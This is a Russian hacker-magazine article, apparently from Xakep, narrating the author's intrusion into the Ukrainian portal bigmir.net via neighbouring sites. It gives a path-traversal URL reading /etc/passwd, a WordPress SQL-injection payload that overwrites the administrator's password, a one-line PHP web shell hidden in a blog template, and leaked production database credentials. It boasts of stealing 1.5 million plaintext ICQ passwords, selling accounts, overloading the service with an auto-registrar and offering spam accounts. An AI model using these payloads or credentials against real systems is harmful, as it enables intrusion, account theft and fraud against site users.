Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter
Журналы Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
$1000 на Android: зарабатываем на приложениях для мобильной платформы от Google $1000 НА ANDROID: ЗАРАБАТЫВАЕМ НА ПРИЛОЖЕНИЯХ ДЛЯ МОБИЛЬНОЙ ПЛАТФОРМЫ ОТ GOOGLE
27.07.2010

Пара вечеров экспериментов и неожиданно удачная идея позволили за 2 месяца заработать более $1000. Это гораздо больше, чем я мог ожидать...
Фабрика сплоитов ФАБРИКА СПЛОИТОВ
26.07.2010

Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из багтрака превращается в реально работающую отмычку...

Bigmir.Net? И не будет!

Здравствуй, мой юный друг! Сегодня на нашем операционном столе лежит и подрагивает всеми конечностями очень известный пациент - украинский портал bigmir.net (аналог нашего Рамблера на Украине). Ты спросишь, что же в нем такого особенного? Отвечу. Бигмир - локализованный партнер icq.com, через который проходит привязка номерков аськи к мылу, регистрация новых уинов и другие вкусности, связанные с аськой. Стало интереснее? Тогда читай дальше :).

Нет ничего невозможного!

Помнишь майский номер ][, где твой покорный слуга успешно поимел израильский ICQ WAP-шлюз tjat.com? Это было лишь начало :). Сразу после продажи красивых номерков с этого сервиса я принялся изучать локализованных партнеров Icq.Com в различных странах: nana.co.il, rambler.ru, mynet.com, abv.bg, zoznam.sk, netvigator.com, prosieben.de, atlas.cz и bigmir.net. Для этого я скачал крякнутый сканер уязвимостей XSpider 7.5 (ссылку приводить не буду, поскольку это незаконно, но ты можешь поискать ее сам на различных форумах, посвященных хаку) и запустил его на своем компе с указанными выше доменами для их проверки. Спустя час прога выдала мне первые результаты :). Жертва была найдена - украинский портал bigmir.net с PR=8 по Гуглу (в России сайтов с таким пиаром всего три).

Сама ядовитая ссылка выглядела так:

http://www.bigmir.net/?u=../../../../../../../../../../../../../../../etc/passwd%00

Очень похоже на локальный инклуд с null-байтом. Но, как позже выяснилось, это было далеко не так. Этот баг позволял лишь просматривать файлы в системе, а до выполнения php-кода дело не дошло. Код в исходнике главной страницы Бигмира выглядит так:

$u = @$_GET['u'];
...
@readfile($staticDir .'rating'.$t.$u.'.html');

Просмотрев некоторые системные файлы (например, www.bigmir.net/?u=../../../../../../../../../../usr/local/etc/apache22/extra/httpd-vhosts.conf%00), я решил пока отложить эту уязвимость и идти дальше.

Хорошие соседи

Как видишь, даже в таком серьезном портале уже на главной странице обнаружился очень серьезный баг. Но с него ничего хорошего поднять было нельзя. Поэтому следующим моим шагом стало изучение сайтов, расположенных на том же сервере, что и bigmir.net. Я зашел на всем известный сервис IP-lookup http://domainsdb.net, вбил туда наш любимый Бигмир и стал смотреть результаты.

На самом IP-адресе Бигмира других сайтов не было, а вот на его же NS я увидел пару сайтиков: http://korrespondent.net и http://ricardo.com.ua, ссылки на которые были на главной странице нашего портала. Немного поизучав новых пациентов, я наткнулся на их форумы (http://forum.korrespondent.net и http://ricardo.com.ua/forum). Наметанный глаз сразу узнал скрипты борды. И там, и там стоял Phorum. Но, чтобы начать какие-либо хакерские действия, необходимо было узнать версию форума. Пройдя по ссылке http://forum.korrespondent.net/admin.php, я обнаружил надпись: «Version 5.1.16a». Для нее, конечно, были известные баги, но паблик-сплоитов под них не существует, а ковыряться с blind SQL-injection не позволяла лень. Смотри сам, небольшой PoC-сплоит (работающий, конечно, после логина на форум и подстановки существующих id форума и темы):

<html> 
<body>
<form method=POST action="http://forum.korrespondent.net/pm.php">
<input type="hidden" name="recipients[123']" value="testers">
<input type="hidden" name="action" value="post" />
<input type="text" id="subject" name="subject" size="50" value="" />
<textarea id="message" name="message" rows="20" cols="50"></textarea>
<input type="hidden" name="forum_id" value="1" />
<input type="submit" name"test" value="test">
<input name="preview" value=" Preview " />
</body>
</html>

Далее я совершил те же самые действия и со вторым форумом, но админки по этому адресу не было. В итоге, ковыряясь с этими форумами, я нашел только одну интересную особенность: если пройти по ссылке http://ricardo.com.ua/forum/docs, то в окне браузера можно наблюдать следующую забавную картину:

Warning: main(./docs) [function.main]: failed to open stream: Invalid argument in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47
Fatal error: main() [function.require]: Failed opening required './docs' (include_path='.:/usr/local/share/pear') in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47

Но, опять же это все была ерунда, нужен был более серьезный баг.

Истина где-то рядом

Выбрав в качестве своей основной жертвы http://korrespondent.net, я продолжил хождение по этому ресурсу и через несколько минут наткнулся на http://blog.korrespondent.net, на главной странице которого в самом низу было написано: «Блог Korrespondent.net работает на WordPress». Увидев эту надпись, я обрадовался, поскольку WordPress - крайне дырявый движок, следовало только узнать его версию, для чего я прошел по ссылке http://blog.korrespondent.net/readme.html. На открывшейся паге гордо красовалась вторая обрадовавшая меня за последние несколько минут надпись: «WordPress 1.5» :). Я ринулся на http://milw0rm.com, вбил там в поиск название движка и увидел кучу очень неплохих сплоитов, из которых выбрал Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit), так как он был последним для ветки 1.5, запустил его и... ничего не получил :(. Огорчению моему не было предела. Значит, на исследуемом сайте стоял WordPress 1.5.2, для которого не было паблик-сплоитов. Эта неудача вынудила меня забить на несколько дней на взлом Бигмира.

WordPress под ударом

Естественно, этим история не заканчивается :). Погуляв пару дней на свежем воздухе, я подумал, а почему бы самому не поискать баги в движке блога, чем немедленно и занялся. Зашел на официальный сайт движка http://wordpress.org, далее - в архив раздела Download и скачал оттуда последнюю версию из первой ветки - 1.5.2. Установил блог на локалхосте и принялся за раскопки :). На поиск бага ушло несколько часов и пара литров пива, я копал каждый файл, мучал параметры, листал исходники... И в итоге мои старания были вознаграждены! Банальная скул-инъекция присутствовала в файле ./wp-admin/user-edit.php в 69-й строке:

$result = $wpdb->query("UPDATE $wpdb->users SET user_login = '$new_user_login', user_firstname = '$new_firstname', $updatepassword user_lastname='$new_lastname', user_nickname='$new_nickname', user_icq='$new_icq', user_email='$new_email', user_url='$new_url', user_aim='$new_aim', user_msn='$new_msn', user_yim='$new_yim', user_idmode='$new_idmode', user_description = '$new_description', user_nicename = '$new_nicename' WHERE ID = $user_id");

Итак (трубят фанфары)... У нас на операционном столе - новый приватный баг WordPress, найденный твоим покорным слугой :). Для его использования необходима регистрация на уязвимом блоге. Вообще он находится в файле wp-register.php, но на Korrespondent.net была сделана общая регистрация для всех сервисов сайта, поэтому, зарегавшись и залогинившись на сайте, я прошел по ссылке http://korrespondent.net/wp-admin/user-edit.php и сохранил страничку себе на винт. Далее, открыв ее в блокноте, я нашел следующий участок html-кода:

<form 
name="edituser" 
id="edituser" 
action="user-edit.php" 
method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Заменил его:

<form 
name="edituser" 
id="edituser" 
action="http://blog.korrespondent.net/wp-admin/user-edit.php" 
method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Затем нашел hidden-поле с user_id и заменил его:

<textarea 
name="user_id" 
rows="5" 
id="new_description" 
style="width: 99%; ">
</textarea>

После всех перечисленных действий я сохранил заряженную страницу и открыл ее в браузере.

Теперь необходимо сделать небольшое пояснение, касающееся найденной уязвимости: из SQL-запроса видно, что при update пользовательского профиля вообще не проверяется параметр $user_id, то есть таким образом мы можем обновить профиль любого юзера, но прежде всего нам необходим админ. Как просто и быстро поставить админу свой пароль? А вот как.

В нашей ядовитой страничке вписываем в поля с логином и паролем любые логин и пароль, например tester/tester, а в бывшее hidden-поле вбиваем: «-99 or user_level=10/*» (естественно, без кавычек). В итоге, наш скул-запрос получается следующим:

UPDATE wp_users SET user_login = 'tester', user_firstname = '',user_pass=MD5('tester'), user_lastname='', user_nickname='', user_icq='', user_email='', user_url='', user_aim='', user_msn='', user_yim='', user_idmode='', user_description = '', user_nicename = '' WHERE ID =-99 or user_level=10/*

Так как юзера с ID=-99 однозначно не существует в базе данных, обновятся данные лишь юзера с user_level=10, то есть данные админа :).

Ленивые админы

Став админом blog.korrespondent.net, я задумался над получением шелла на сервере. Скажу по секрету: у меня есть еще один обнаруженный мной приватный баг, позволяющий легко и безболезненно получать шелл из админок WordPress версий 1.5-2.1. Но тебе хватит и предыдущего привата :). Эта уязвимость все равно мне не понадобилась, поскольку, зайдя в «Редактор шаблонов», я увидел, что все php-файлы в template-директории открыты на запись. Теперь необходимо было тайно встроить свой шелл в один из уязвимых файлов. Я быстро набросал следующий php-код:

<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>

И вписал его в template шапки блога. Таким образом, по адресу http://blog.korrespondent.net можно было видеть обычный блог, а на http://blog.korrespondent.net/?fuckkk=[команда] - красивый и удобный шелл :).

А дальше я начал изучение сервера bigmir.net. В первую очередь меня интересовала база данных Бигмира. Отправившись на поиске параметров подключения к базе, я нашел файл /storage/web/htdocs/bigmir/bigmir2/config.php, в котором находились следующие строки:

// production
define('BM_DB_HOST', 'cbd2.sm');
define('BM_DB_USER', 'bigmir');
define('BM_DB_PASS', 'NacDagegWukecBi');

Далее я закачал на сервер скрипт управления БД от RusH Security Team (http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt, на официальном сайте скрипт недоступен) и поставил его по адресу http://files.korrespondent.net/img/forall/a/4/header.php. Залогинившись с полученными данными, я минуту наблюдал долгожданную картину - все таблицы Бигмира были передо мной :). Немного походив по ним, я нашел таблицу с юзерами в bm_global.user. Полтора миллиона регистраций, все пароли к аськам в открытом виде! Ну не чудо ли?

Что дальше?

Продав все пяти-, шести- и семизначные номера из базы Бигмира с помощью друзей, я задумался, а что же делать дальше? Перспективы открывались огромные: во-первых, в моих руках был клиентский API партнеров icq.com (наблюдать его ты также можешь на скриншоте в журнале); во-вторых, мой шелл на протяжении двух недель никто не палил; а в-третьих, я нашел таблицу с админами Бигмира и у меня был доступ к http://admin.bigmir.net (сейчас доступ к админке возможен лишь с определенных IP-адресов).

Решив пойти по пути наименьшего сопротивления, я стал изучать регу номеров. В результате в файле /storage/web/htdocs/bigmir/include/icq_ips_class.php я увидел следующую функцию:

function register($password, $email, $nickName, $firstName = false, $lastName = false, $birthDay = false, $sex = false, $country = false, $city = false, $state = false)
{
...
}

И стал ваять автореггер ICQ-уинов. Создал php-гейт на Бигмире, где в цикле запустил указанную выше функцию, затем на том же php написал клиент к этому гейту и с помощью программы php2exe, которую ты можешь часто видеть на дисках, прилагаемых к журналу, перевел его в экзешник. Процитирую одного из первых покупателей этой программы (kaleostra): «Купил - доволен; итак, тесты: 10 мин, 4100 номеров с семи копий, 410 в минуту с семи копий, 59 номеров в минуту с копии! Ресурсы не жрет вообще».

Как видишь, результаты ошеломляющие :). Но этого было, как обычно, мало. За несколько часов товарищ Cash написал GUI-интерфейс на Delphi с поддержкой потоков, и получилась довольно симпатичная прога, которую ты можешь наблюдать на скриншоте. За одну ночь 4 человека зарегали более полумиллиона уинов, в результате Бигмир повис надолго. Затем была отключена регистрация номеров, и на сервере украинского портала стали проводиться какие-то технические работы. Через день все мои бэкдор-шеллы удалили, был установлен WordPress последней версии и изменены пароли всех админов Бигмира. Но меня это ничуть не расстроило :). Покопавшись в слитом движке Бигмира, я нашел скул-инъекцию, с помощью которой снова получил доступ к базе данных :). Правда, через несколько часов его перекрыли.

В итоге, было продано очень много элитнейших уинов, зарегистрировано очень много девяток для спама (у меня самого до сих пор лежит около 250k, если будут нужны - обращайся), и, что самое главное, был подорван авторитет не только локализованного партнера icq.com http://bigmir.net, но и всего AOL'а.

На этом следует остановиться. Как видишь, даже очень крупные проекты не могут устоять перед хакерами. Стоит задуматься, какой из локализованных партнеров будет следующей жертвой безжалостного ICQ хакерского андеграунда? ;)

DANGER

Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. За использование материалов статьи в противозаконных целях ни редакция, ни автор ответственности не несут.


Полную версию статьи читай в августовском номере Хакера!



Теги: Bigmir.net , ICQ , SQL-инъекция , WordPress , взлом





СЛЕДУЮЩИЕ СТАТЬИ
Фаззинг, фаззить, фаззер: ищем уязвимости в программах, сетевых сервисах, драйверах
Гюльчатай, открой личико: получение информации о веб-приложении нетрадиционными способами
JIT Spray против IE8: пишем собственный JIT-эксплойт
Площадка для взлома: головоломки для хакеров
Учимся на ошибках: методика проведения Error-based SQL-Injection
Unserialize баг в картинках: ошибки десериализации классов на живых примерах
GOV сайты под угрозой: взлом сайта Министерства образования и науки Украины
PHP и волшебные методы: сериализация PHP-объектов глазами хакера
Пилим xBtit: нестандартные уязвимости скриптов
Социальный взлом: Pen-testing популярного движка соцсети
ПРЕДЫДУЩИЕ СТАТЬИ
Проверь паспорт: CAPTCHA ФМС
Взлом спамеров
Идеальный взлом
Межгород 4free: новые способы бесплатно звонить по межгороду
Берем под контроль скандальные ресурсы
Прячем трафик: техника сокрытия IP-трафика с помощью секретных пассивных каналов
Бекдор в голове
Праздничный взлом №2
Праздничный взлом №1
Модная девелоперская контора
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Регистрации на сервере не требуется, вы можете использовать гостевой доступ.
Если у вас есть форумный логин, вы можете использовать его.
Если нет, то вы можете зарегистрироваться на forum.xakep.ru
Обсуждение этой статьи на forum.xakep.ru
ВСЕ ПОСТЫ ПРОХОДЯТ ПРЕМОДЕРАЦИЮ, не ждите их мгновенного появления в списке комментариев.
Для отправки сообщения введите код, указанный на картинке
Заголовок
Сообщение

Guest Отправлено: 29.01.2009 5:34:40
RE: Bigmir.Net? И не будет!
Ахуеть, аффтар жжот. Круто ты
Страницы: < 1 >






Keywords: zPOSTz zHACKz, zINFOz, zINTERNETz, zYANDEXz z40919z
Для Авторов: edit Lock delete Lock



    Rambler's Top100